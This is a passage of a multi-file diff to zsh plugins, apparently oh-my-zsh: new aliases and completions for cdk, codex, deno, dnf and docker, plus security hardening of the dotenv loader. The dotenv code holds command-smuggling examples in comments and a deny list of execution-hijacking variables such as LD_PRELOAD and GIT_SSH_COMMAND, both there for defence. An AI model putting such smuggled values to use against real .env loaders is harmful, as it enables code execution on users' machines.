+This plugin provides aliases and autocompletion for the [AWS Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) CLI.
+
+## Usage
+
+Add `cdk` to the plugins array in your `.zshrc`:
+
+```zsh
+plugins=(... cdk)
+```
+
+## Requirements
+
+- [AWS CDK CLI](https://docs.aws.amazon.com/cdk/v2/guide/getting_started.html) installed (`npm install -g aws-cdk`)
+
+## Aliases
+
+| Alias        | Command           | Description                        |
+| ------------ | ----------------- | ---------------------------------- |
+| `cdkl`       | `cdk list`        | List all stacks in the app         |
+| `cdksynth`   | `cdk synth`       | Synthesize CloudFormation template |
+| `cdkdiff`    | `cdk diff`        | Compare deployed vs local stack    |
+| `cdkdeploy`  | `cdk deploy`      | Deploy stack to AWS                |
+| `cdkdestroy` | `cdk destroy`     | Destroy deployed stack             |
+| `cdkboot`    | `cdk bootstrap`   | Bootstrap CDK environment          |
+| `cdkdoc`     | `cdk docs`        | Open CDK documentation             |
+| `cdkinit`    | `cdk init`        | Initialize a new CDK project       |
+| `cdkwatch`   | `cdk watch`       | Watch for changes and auto-deploy  |
+| `cdkctx`     | `cdk context`     | Manage cached context values       |
+| `cdkack`     | `cdk acknowledge` | Acknowledge a notice               |
+| `cdkver`     | `cdk --version`   | Print CDK version                  |
@@ -0,0 +1,12 @@
+#compdef cdk
+
+# Originally found and adapted from: https://github.com/aws/aws-cdk/discussions/24380#discussioncomment-5158176
+
+local -a reply
+local IFS
+IFS=$'\n' reply=($(COMP_CWORD="$((CURRENT-1))" \
+          COMP_LINE="$BUFFER" \
+          COMP_POINT="$CURSOR" \
+          cdk --get-yargs-completions "${words[@]}"))
+
+_describe 'values' reply
@@ -0,0 +1,13 @@
+# Aliases
+alias cdkl='cdk list'
+alias cdksynth='cdk synth'
+alias cdkdiff='cdk diff'
+alias cdkdeploy='cdk deploy'
+alias cdkdestroy='cdk destroy'
+alias cdkboot='cdk bootstrap'
+alias cdkdoc='cdk docs'
+alias cdkinit='cdk init'
+alias cdkwatch='cdk watch'
+alias cdkctx='cdk context'
+alias cdkack='cdk acknowledge'
+alias cdkver='cdk --version'
@@ -1,6 +1,6 @@
 # Celery

-This plugin provides completion for [Celery](http://www.celeryproject.org/).
+This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/).

 To use it add celery to the plugins array in your zshrc file.

@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_charm" ]]; then
  _comps[charm]=_charm
 fi

-charm completion zsh >| "$ZSH_CACHE_DIR/completions/_charm" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_charm"
+  zf_mv -f -- =( charm completion zsh ) "$TMPPREFIX"
+} &|
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_chezmoi" ]]; then
  _comps[chezmoi]=_chezmoi
 fi

-chezmoi completion zsh >| "$ZSH_CACHE_DIR/completions/_chezmoi" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_chezmoi"
+  zf_mv -f -- =( chezmoi completion zsh ) "$TMPPREFIX"
+} &|
@@ -0,0 +1,11 @@
+# codex Plugin
+
+## Introduction
+
+This `codex` plugin sets up completion for [codex](https://github.com/openai/codex).
+
+To use it, add `codex` to the plugins array of your zshrc file:
+
+```bash
+plugins=(... codex)
+```
@@ -0,0 +1,18 @@
+# COMPLETION FUNCTION
+if (( ! $+commands[codex] )); then
+  return
+fi
+
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `codex`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_codex" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _codex
+  _comps[codex]=_codex
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_codex"
+  zf_mv -f -- =( codex completion zsh < /dev/null 2> /dev/null ) "$TMPPREFIX"
+} &|
@@ -32,5 +32,6 @@ It works out of the box with the command-not-found packages for:
 - [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/)
 - [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main)
 - [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found)
+- [Alpine Linux](https://pkgs.alpinelinux.org/package/edge/main/x86_64/command-not-found)

 You can add support for other platforms by submitting a Pull Request.
@@ -74,3 +74,10 @@ if [[ -x /usr/bin/command-not-found ]]; then
    /usr/bin/command-not-found "$1"
  }
 fi
+
+# Alpine: https://gitlab.alpinelinux.org/alpine/aports/-/blob/master/main/command-not-found/APKBUILD
+if [[ -x /usr/libexec/command-not-found ]]; then
+  command_not_found_handler() {
+    /usr/libexec/command-not-found "$1"
+  }
+fi
@@ -99,18 +99,21 @@ $ find . -type f 2>/dev/null
 ## File extension aliases

 These are special aliases that are triggered when a file name is passed as the command. For example,
-if the pdf file extension is aliased to `acroread` (a popular Linux pdf reader), when running `file.pdf`
-that file will be open with `acroread`.
+if the pdf file extension is aliased to `open_command`, running `file.pdf` opens that file with
+whatever application your system uses for PDFs.

 ### Reading Docs

-| Alias | Command    | Description                        |
-| ----- | ---------- | ---------------------------------- |
-| pdf   | `acroread` | Opens up a document using acroread |
-| ps    | `gv`       | Opens up a .ps file using gv       |
-| dvi   | `xdvi`     | Opens up a .dvi file using xdvi    |
-| chm   | `xchm`     | Opens up a .chm file using xchm    |
-| djvu  | `djview`   | Opens up a .djvu file using djview |
+These use `open_command`, which picks the right opener for your platform: `open` on macOS,
+`xdg-open` on Linux, `cygstart` on Cygwin.
+
+| Alias | Command        | Description                                     |
+| ----- | -------------- | ----------------------------------------------- |
+| pdf   | `open_command` | Opens up a .pdf file in your default viewer     |
+| ps    | `open_command` | Opens up a .ps file in your default viewer      |
+| dvi   | `open_command` | Opens up a .dvi file in your default viewer     |
+| chm   | `open_command` | Opens up a .chm file in your default viewer     |
+| djvu  | `open_command` | Opens up a .djvu file in your default viewer    |

 ### Listing files inside a packed file

@@ -71,14 +71,11 @@ if is-at-least 4.2.0; then
  _media_fts=(ape avi flv m4a mkv mov mp3 mpeg mpg ogg ogm rm wav webm)
  for ft in $_media_fts; do alias -s $ft=mplayer; done

-  #read documents
-  alias -s pdf=acroread
-  alias -s ps=gv
-  alias -s dvi=xdvi
-  alias -s chm=xchm
-  alias -s djvu=djview
+  # read documents with the platform's default application
+  _doc_fts=(pdf ps dvi chm djvu)
+  for ft in $_doc_fts; do alias -s $ft=open_command; done

-  #list whats inside packed file
+  #list what's inside packed file
  alias -s zip="unzip -l"
  alias -s rar="unrar l"
  alias -s tar="tar tf"
@@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land).

 ## Aliases

-| Alias | Full command        |
-| ----- | ------------------- |
-| db    | deno bundle         |
-| dc    | deno compile        |
-| dca   | deno cache          |
-| dfmt  | deno fmt            |
-| dh    | deno help           |
-| dli   | deno lint           |
-| drn   | deno run            |
-| drA   | deno run -A         |
-| drw   | deno run --watch    |
-| dru   | deno run --unstable |
-| dts   | deno test           |
-| dup   | deno upgrade        |
+| Alias | Full command     |
+| ----- | ---------------- |
+| dc    | deno compile     |
+| dca   | deno cache       |
+| dck   | deno check       |
+| dfmt  | deno fmt         |
+| dh    | deno help        |
+| dli   | deno lint        |
+| drn   | deno run         |
+| drA   | deno run -A      |
+| drw   | deno run --watch |
+| dsv   | deno serve       |
+| dts   | deno test        |
+| dup   | deno upgrade     |
@@ -1,14 +1,14 @@
 # ALIASES
-alias db='deno bundle'
 alias dc='deno compile'
 alias dca='deno cache'
+alias dck='deno check'
 alias dfmt='deno fmt'
 alias dh='deno help'
 alias dli='deno lint'
 alias drn='deno run'
 alias drA='deno run -A'
 alias drw='deno run --watch'
-alias dru='deno run --unstable'
+alias dsv='deno serve'
 alias dts='deno test'
 alias dup='deno upgrade'

@@ -25,4 +25,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_deno" ]]; then
  _comps[deno]=_deno
 fi

-deno completions zsh >| "$ZSH_CACHE_DIR/completions/_deno" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_deno"
+  zf_mv -f -- =( deno completions zsh ) "$TMPPREFIX"
+} &|
@@ -15,18 +15,19 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`.

 ## Aliases

-| Alias | Command                 | Description              |
-|-------|-------------------------|--------------------------|
-| dnfl  | `dnf list`              | List packages            |
-| dnfli | `dnf list installed`    | List installed packages  |
-| dnfgl | `dnf grouplist`         | List package groups      |
-| dnfmc | `dnf makecache`         | Generate metadata cache  |
-| dnfp  | `dnf info`              | Show package information |
-| dnfs  | `dnf search`            | Search package           |
-| **Use `sudo`**                                             |
-| dnfu  | `sudo dnf upgrade`      | Upgrade package          |
-| dnfi  | `sudo dnf install`      | Install package          |
-| dnfgi | `sudo dnf groupinstall` | Install package group    |
-| dnfr  | `sudo dnf remove`       | Remove package           |
-| dnfgr | `sudo dnf groupremove`  | Remove package group     |
-| dnfc  | `sudo dnf clean all`    | Clean cache              |
+| Alias | Command                       | Description                              |
+|-------|-------------------------------|------------------------------------------|
+| dnfl  | `dnf list`                    | List packages                            |
+| dnfli | `dnf list --installed`        | List installed packages                  |
+| dnfgl | `dnf grouplist`               | List package groups                      |
+| dnfmc | `dnf makecache`               | Generate metadata cache                  |
+| dnfp  | `dnf info`                    | Show package information                 |
+| dnfs  | `dnf search`                  | Search package                           |
+| **Use `sudo`**                                                                      |
+| dnfu  | `sudo dnf upgrade`            | Upgrade package                          |
+| dnfur | `sudo dnf upgrade --refresh`  | Upgrade package (force metadata refresh) |
+| dnfi  | `sudo dnf install`            | Install package                          |
+| dnfgi | `sudo dnf groupinstall`       | Install package group                    |
+| dnfr  | `sudo dnf remove`             | Remove package                           |
+| dnfgr | `sudo dnf groupremove`        | Remove package group                     |
+| dnfc  | `sudo dnf clean all`          | Clean cache                              |
@@ -5,12 +5,13 @@ local dnfprog="dnf"
 command -v dnf5 > /dev/null && dnfprog=dnf5

 alias dnfl="${dnfprog} list"                       # List packages
-alias dnfli="${dnfprog} list installed"            # List installed packages
+alias dnfli="${dnfprog} list --installed"          # List installed packages
 alias dnfmc="${dnfprog} makecache"                 # Generate metadata cache
 alias dnfp="${dnfprog} info"                       # Show package information
 alias dnfs="${dnfprog} search"                     # Search package

 alias dnfu="sudo ${dnfprog} upgrade"               # Upgrade package
+alias dnfur="sudo ${dnfprog} upgrade --refresh"    # Upgrade package and refresh repos
 alias dnfi="sudo ${dnfprog} install"               # Install package
 alias dnfr="sudo ${dnfprog} remove"                # Remove package
 alias dnfc="sudo ${dnfprog} clean all"             # Clean cache
@@ -2,7 +2,7 @@

 This plugin provides completion for [docker-compose](https://docs.docker.com/compose/) as well as some
 aliases for frequent docker-compose commands.
-This plugin chooses automatically between the legacy `docker-compose` command and the modern 
+This plugin chooses automatically between the legacy `docker-compose` command and the modern
 `docker compose` subcommand, preferring `docker-compose` when both are available.

 To use it, add docker-compose to the plugins array of your zshrc file:
@@ -17,6 +17,7 @@ plugins=(... docker-compose)
 |-----------|----------------------------------|----------------------------------------------------------------------------------|
 | dco       | `docker-compose`                 | Docker-compose main command                                                      |
 | dcb       | `docker-compose build`           | Build containers                                                                 |
+| dcc       | `docker-compose config`          | Parse, resolve and render compose file in canonical format                       |
 | dce       | `docker-compose exec`            | Execute command inside a container                                               |
 | dcps      | `docker-compose ps`              | List containers                                                                  |
 | dcrestart | `docker-compose restart`         | Restart container                                                                |
@@ -34,3 +35,6 @@ plugins=(... docker-compose)
 | dcpull    | `docker-compose pull`            | Pull image of a service                                                          |
 | dcstart   | `docker-compose start`           | Start a container                                                                |
 | dck       | `docker-compose kill`            | Kills containers                                                                 |
+| dcv       | `docker-compose version`         | Show version information                                                         |
+| dcsts     | `docker-compose stats`           | Show stats of containers                                                         |
+| dci       | `docker-compose images`          | List images                                                                      |
@@ -6,6 +6,7 @@

 alias dco="$dccmd"
 alias dcb="$dccmd build"
+alias dcc="$dccmd config"
 alias dce="$dccmd exec"
 alias dcps="$dccmd ps"
 alias dcrestart="$dccmd restart"
@@ -23,5 +24,8 @@ alias dclF="$dccmd logs -f --tail 0"
 alias dcpull="$dccmd pull"
 alias dcstart="$dccmd start"
 alias dck="$dccmd kill"
+alias dcv="$dccmd version"
+alias dcsts="$dccmd stats"
+alias dci="$dccmd images"

 unset dccmd
@@ -51,6 +51,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | dcin    | `docker container inspect`    | Display detailed information on one or more containers                                   |
 | dcls    | `docker container ls`         | List all the running docker containers                                                   |
 | dclsa   | `docker container ls -a`      | List all running and stopped containers                                                  |
+| dcprune | `docker container prune`      | Remove all stopped containers                                                            |
 | dib     | `docker image build`          | Build an image from a Dockerfile (same as docker build)                                  |
 | dii     | `docker image inspect`        | Display detailed information on one or more images                                       |
 | dils    | `docker image ls`             | List docker images                                                                       |
@@ -64,6 +65,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | dndcn   | `docker network disconnect`   | Disconnect a container from a network                                                    |
 | dni     | `docker network inspect`      | Return information about one or more networks                                            |
 | dnls    | `docker network ls`           | List all networks the engine daemon knows about, including those spanning multiple hosts |
+| dnprune | `docker network prune`        | Remove all unused networks                                                               |
 | dnrm    | `docker network rm`           | Remove one or more networks                                                              |
 | dpo     | `docker container port`       | List port mappings or a specific mapping for the container                               |
 | dps     | `docker ps`                   | List all the running docker containers                                                   |
@@ -73,6 +75,7 @@ If you use Podman's Docker wrapper, you need to enable legacy completion. See ab
 | drit    | `docker container run -it`    | Create a new container and start it in an interactive shell                              |
 | drm     | `docker container rm`         | Remove the specified container(s)                                                        |
 | drm!    | `docker container rm -f`      | Force the removal of a running container (uses SIGKILL)                                  |
+| dsprune | `docker system prune`         | Remove unused data                                                                       |
 | dst     | `docker container start`      | Start one or more stopped containers                                                     |
 | drs     | `docker container restart`    | Restart one or more containers                                                           |
 | dsta    | `docker stop $(docker ps -q)` | Stop all running containers                                                              |
@@ -2,6 +2,7 @@ alias dbl='docker build'
 alias dcin='docker container inspect'
 alias dcls='docker container ls'
 alias dclsa='docker container ls -a'
+alias dcprune='docker container prune'
 alias dib='docker image build'
 alias dii='docker image inspect'
 alias dils='docker image ls'
@@ -15,6 +16,7 @@ alias dncn='docker network connect'
 alias dndcn='docker network disconnect'
 alias dni='docker network inspect'
 alias dnls='docker network ls'
+alias dnprune='docker network prune'
 alias dnrm='docker network rm'
 alias dpo='docker container port'
 alias dps='docker ps'
@@ -24,6 +26,7 @@ alias dr='docker container run'
 alias drit='docker container run -it'
 alias drm='docker container rm'
 alias 'drm!'='docker container rm -f'
+alias dsprune='docker system prune'
 alias dst='docker container start'
 alias drs='docker container restart'
 alias dsta='docker stop $(docker ps -q)'
@@ -53,14 +56,19 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_docker" ]]; then
  _comps[docker]=_docker
 fi

-{
+zmodload -F zsh/files b:zf_mv
+() {
+
+  local plugin_dir="$1"
+
  # `docker completion` is only available from 23.0.0 on
  # docker version returns `Docker version 24.0.2, build cb74dfcd85`
  # with `s:,:` remove the comma after the version, and select third word of it
  if zstyle -t ':omz:plugins:docker' legacy-completion || \
    ! is-at-least 23.0.0 ${${(s:,:z)"$(command docker --version)"}[3]}; then
-        command cp "${0:h}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
+        command cp "${plugin_dir}/completions/_docker" "$ZSH_CACHE_DIR/completions/_docker"
      else
-        command docker completion zsh | tee "$ZSH_CACHE_DIR/completions/_docker" > /dev/null
+        local TMPPREFIX="$ZSH_CACHE_DIR/completions/_docker"
+        zf_mv -f -- =( command docker completion zsh ) "$TMPPREFIX"
  fi
-} &|
+} "${0:A:h}" &|
@@ -14,4 +14,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_doctl" ]]; then
  _comps[doctl]=_doctl
 fi

-doctl completion zsh >| "$ZSH_CACHE_DIR/completions/_doctl" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_doctl"
+  zf_mv -f -- =( doctl completion zsh ) "$TMPPREFIX"
+} &|
@@ -0,0 +1,9 @@
+tap: false
+directories:
+  tests: tests
+  output: tests/_output
+  support: tests/_support
+time_limit: 0
+fail_fast: false
+allow_risky: false
+verbose: false
@@ -34,6 +34,25 @@ PORT=3001

 You can even mix both formats, although it's probably a bad idea.

+Multi-line values are supported using quoted strings:
+
+```sh
+PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEA...
+-----END RSA PRIVATE KEY-----"
+```
+
+Variables defined earlier in the file can be referenced by later entries:
+
+```sh
+BASE_URL=https://example.com
+API_URL=$BASE_URL/api
+ASSETS_URL=${BASE_URL}/assets
+```
+
+Note: only variables defined within the same `.env` file are expanded this way —
+shell environment variables that already exist are **not** substituted.
+
 ## Settings

 ### ZSH_DOTENV_FILE
@@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t

 No additional configuration is required — the plugin automatically detects and sources named pipes.

+## Tests
+
+The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
+
+```sh
+cd plugins/dotenv && zunit
+```
+
+> [NOTE!]
+> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
+
 ## Version Control

 **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.

-## Disclaimer
+## Security

-This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
+The plugin applies several best-effort safeguards when loading a `.env` file:
+
+- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
+- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
+- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
+- **Forbidden variables** — the following variables are never overwritten, regardless of what the
+  `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
+  `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
+  `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
+  `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
+  parameters.
+
+These measures are **best-effort** — you are still responsible for the content of your `.env`
+file. Do not use this plugin as a security boundary.

 If you need more advanced and feature-rich ENV management, check out these awesome projects:

@@ -7,9 +7,271 @@
 : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
 : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}

-
 ## Functions

+_parse_dotenv_content() {
+  setopt localoptions extendedglob
+
+  local content="$1"
+  local mode="${2:-export}"
+
+  # Validate mode argument
+  case "$mode" in
+    export|test) ;;
+    *)
+      echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
+      return 1
+      ;;
+  esac
+
+  local node line key value
+  local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
+  local sq dq uq safe
+  local -A parsed_vars
+  local -a nodes lines
+
+  # Parse into command lines separated by `;`, with built-in support for multi-line commands.
+  # (Z:C:) ignores comments and preserves quotes and escapes.
+  #
+  # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
+  # by joining all elements between ';'.
+  #
+  # Example input:
+  #   VAR1=value1; VAR2=value2
+  #   VAR3="multi
+  #   line value"
+  # Result:
+  #   typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
+  #   typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
+  #
+  nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
+  for node in "${nodes[@]}"; do
+    if [[ "$node" == ";" ]]; then
+      if [[ -n "$line" ]]; then
+        lines+=("$line")
+        line=""
+      fi
+      continue
+    fi
+
+    [[ -z "$line" ]] || line+=" "
+    line+="$node"
+  done
+
+  local -a forbidden_vars=(
+    NODE_OPTIONS
+    BASH_ENV
+    ENV
+    ZDOTDIR
+    ZSH
+    LD_PRELOAD
+    LD_LIBRARY_PATH
+    DYLD_INSERT_LIBRARIES
+    GIT_CONFIG_GLOBAL
+    GIT_DIR
+    GIT_EDITOR
+    GIT_EXTERNAL_DIFF
+    GIT_EXEC_PATH
+    GIT_PAGER
+    GIT_SSH
+    GIT_SSH_COMMAND
+    GIT_SSL_NO_VERIFY
+    GIT_TEMPLATE_DIR
+    VISUAL
+    PAGER
+    EDITOR
+    ${(k)parameters[(R)*export*special]}
+  )
+  local forbidden="${(j:|:)forbidden_vars}"
+
+
+  # Each line contains a single command line, we need to parse valid KEY=VALUE pairs
+  for line in "${lines[@]}"; do
+    # Strip leading 'export ' keyword
+    line="${line#export[ 	]}"
+
+    # Match KEY=VALUE pattern
+    # "A name may be any sequence of alphanumeric characters and underscores"
+    # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
+    if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
+      continue
+    fi
+
+    key="${match[1]}"
+    value="${match[2]}"
+    raw_value="$value"
+
+    # Filter out variables to be ignored for security reasons (best effort)
+    if [[ "$key" == (${~forbidden}) ]]; then
+      continue
+    fi
+
+    # Use tokenization to split value with native shell parsing (handles quotes and escapes)
+    # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
+    local -a words
+    words=("${(@z)value}")
+    if [[ ${#words} -ne 1 ]]; then
+      continue
+    fi
+
+    ## START: FILTER COMMAND EXPANSION
+    #
+    # Filter lines with command expansion not in safe contexts
+    #
+    # READER'S NOTE: this is actually a "best effort" check (works in tests), but
+    # only to prevent setting variables with command substitution. The actual effect
+    # of setting them would not be a vulnerability, because we use `typeset name=value`
+    # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
+    #
+    # What does this mean? If we were to remove this filter block, this is what would happen:
+    #
+    # Input: DANGEROUS=$(echo this is a command)
+    # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
+    #
+    # Check for potential command substitution outside of safe contexts
+    # - single-quoted strings: command substitution is literal there
+    sq="'[^']#'"
+    # - double-quoted strings, but NOT unescaped ` or $(
+    dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
+    # - unquoted text, but NOT unescaped ` or $(
+    uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
+    safe="(${sq}|${dq}|${uq})#"
+    # Remove the longest safe prefix; what remains starts at first unsafe construct
+    remainder="${value##${~safe}}"
+
+    if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
+      continue
+    fi
+    ## END: FILTER COMMAND EXPANSION
+
+    # Single-quoted values are fully literal and must not participate in expansion.
+    if [[ "$raw_value" == \'*\' ]]; then
+      value="${(Q)value}"
+      parsed_vars[$key]="$value"
+      if [[ "$mode" == "export" ]]; then
+        typeset -x "$key"="$value"
+      fi
+      continue
+    fi
+
+    # Preserve escaped dollars so they remain literal after unquoting.
+    escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
+    value="${value//\\\$/$escaped_dollar_placeholder}"
+
+    # Unquote the value to handle special characters and multiline values.
+    value="${(Q)value}"
+
+    # Expand previously parsed in-file variables without partial name matches.
+    expanded=""
+    prefix=""
+    remainder="$value"
+    var_name=""
+    while [[ "$remainder" == *'$'* ]]; do
+      prefix="${remainder%%\$*}"
+      expanded+="$prefix"
+      remainder="${remainder#$prefix}"
+
+      if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      else
+        expanded+='$'
+        remainder="${remainder#?}"
+        continue
+      fi
+
+      if [[ -v "parsed_vars[$var_name]" ]]; then
+        expanded+="${parsed_vars[$var_name]}"
+      fi
+    done
+    value="${expanded}${remainder}"
+    value="${value//$escaped_dollar_placeholder/\$}"
+
+    # Store in parsed vars (for in-file expansion)
+    parsed_vars[$key]="$value"
+
+    # Normal mode: export the variable
+    if [[ "$mode" == "export" ]]; then
+      typeset -x "$key"="$value"
+    fi
+  done
+
+  # In test mode, set DOTENV_TEST_VARS
+  typeset -gA DOTENV_TEST_VARS
+  DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
+}
+
+parse_dotenv() {
+  local filename="$1"
+  local mode="${2:-export}"
+  local content
+
+  # Fail if file is too large to avoid DoS
+  zmodload -F zsh/stat b:zstat
+  local -i file_size max_size=10485760  # 10MiB
+  if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
+    echo "dotenv: unable to determine size of file '$filename'" >&2
+    return 1
+  fi
+
+  if (( file_size > max_size )); then
+    echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
+    return 1
+  fi
+
+  content="$(<"$filename")" || return 1
+  _parse_dotenv_content "$content" "$mode"
+}
+
+_dotenv_read_limited() {
+  local filename="$1"
+  local chunk content=""
+  local -i max_size=10485760 total=0 read_size=0 fd read_status
+
+  zmodload zsh/system || return 1
+  exec {fd}<"$filename" || return 1
+
+  while true; do
+    sysread -i $fd -s 65536 -c read_size chunk
+    read_status=$?
+
+    if (( read_status == 5 )); then
+      break
+    elif (( read_status != 0 )); then
+      exec {fd}<&-
+      return 1
+    fi
+
+    (( total += read_size ))
+    if (( total > max_size )); then
+      exec {fd}<&-
+      echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
+      return 1
+    fi
+
+    content+="$chunk"
+  done
+
+  exec {fd}<&-
+  REPLY="$content"
+}
+
+_dotenv_check_syntax() {
+  local filename="$1"
+
+  if (( $# == 2 )); then
+    printf '%s' "$2" | zsh -fn /dev/stdin
+  else
+    zsh -fn -- "$filename"
+  fi || {
+    echo "dotenv: error when sourcing '$filename' file" >&2
+    return 1
+  }
+}
+
 source_env() {
  if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
    return
@@ -37,28 +299,35 @@ source_env() {
      [[ $column -eq 1 ]] || echo

      # print same-line prompt and output newline character if necessary
-      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
+      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
      read -k 1 confirmation
      [[ "$confirmation" = $'\n' ]] || echo

      # check input
      case "$confirmation" in
-        [nN]) return ;;
+        [yY]) ;;
        [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
        [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
-        *) ;; # interpret anything else as a yes
+        *) return ;; # interpret anything else as a no
      esac
    fi
  fi

-  # test .env syntax
-  zsh -fn $ZSH_DOTENV_FILE || {
-    echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
-    return 1
-  }
+  local content
+  if [[ -p "$ZSH_DOTENV_FILE" ]]; then
+    _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
+    content="$REPLY"
+    _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
+
+    setopt localoptions allexport
+    _parse_dotenv_content "$content"
+    return
+  fi
+
+  _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1

  setopt localoptions allexport
-  source $ZSH_DOTENV_FILE
+  parse_dotenv "$ZSH_DOTENV_FILE"
 }

 autoload -U add-zsh-hook
@@ -0,0 +1,2 @@
+*
+!.gitignore
@@ -0,0 +1,139 @@
+#!/usr/bin/env zsh
+# Bootstrap script for dotenv plugin tests
+# This is sourced before any tests run and provides shared utilities
+
+# Load the dotenv plugin
+source "$PWD/dotenv.plugin.zsh"
+ZSH_DOTENV_PROMPT=false
+ZSH_DOTENV_FILE=/dev/null
+
+# Helper: Parse dotenv file in test mode
+_parse_dotenv_test() {
+  parse_dotenv "$1" "test"
+}
+
+# Helper: Parse dotenv file in export mode
+_parse_dotenv_export() {
+  unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
+
+  parse_dotenv "$1" "test"
+
+  for key in "${(k)DOTENV_TEST_VARS}"; do
+    typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
+  done
+}
+
+# Helper: Run parse_dotenv suppressing stderr
+_parse_dotenv_quiet() {
+  parse_dotenv "$@" 2>/dev/null
+}
+
+# Helper: Create a temporary test fixture
+_create_temp_fixture() {
+  local fixture
+  fixture==(:)  # Create temp file
+  echo "$fixture"
+}
+
+_write_temp_fixture() {
+  local fixture="$1"
+  > "$fixture"
+}
+
+
+# Helper: Source file with allexport and capture variables
+# Usage: _source_with_allexport "file.env"
+# Result is in DOTENV_SOURCE_VARS associative array
+_source_with_allexport() {
+  local filename="$1"
+
+  # Source with allexport in a subshell with no exported variables
+
+  # The return and capture of the exported variables is a bit of a pain:
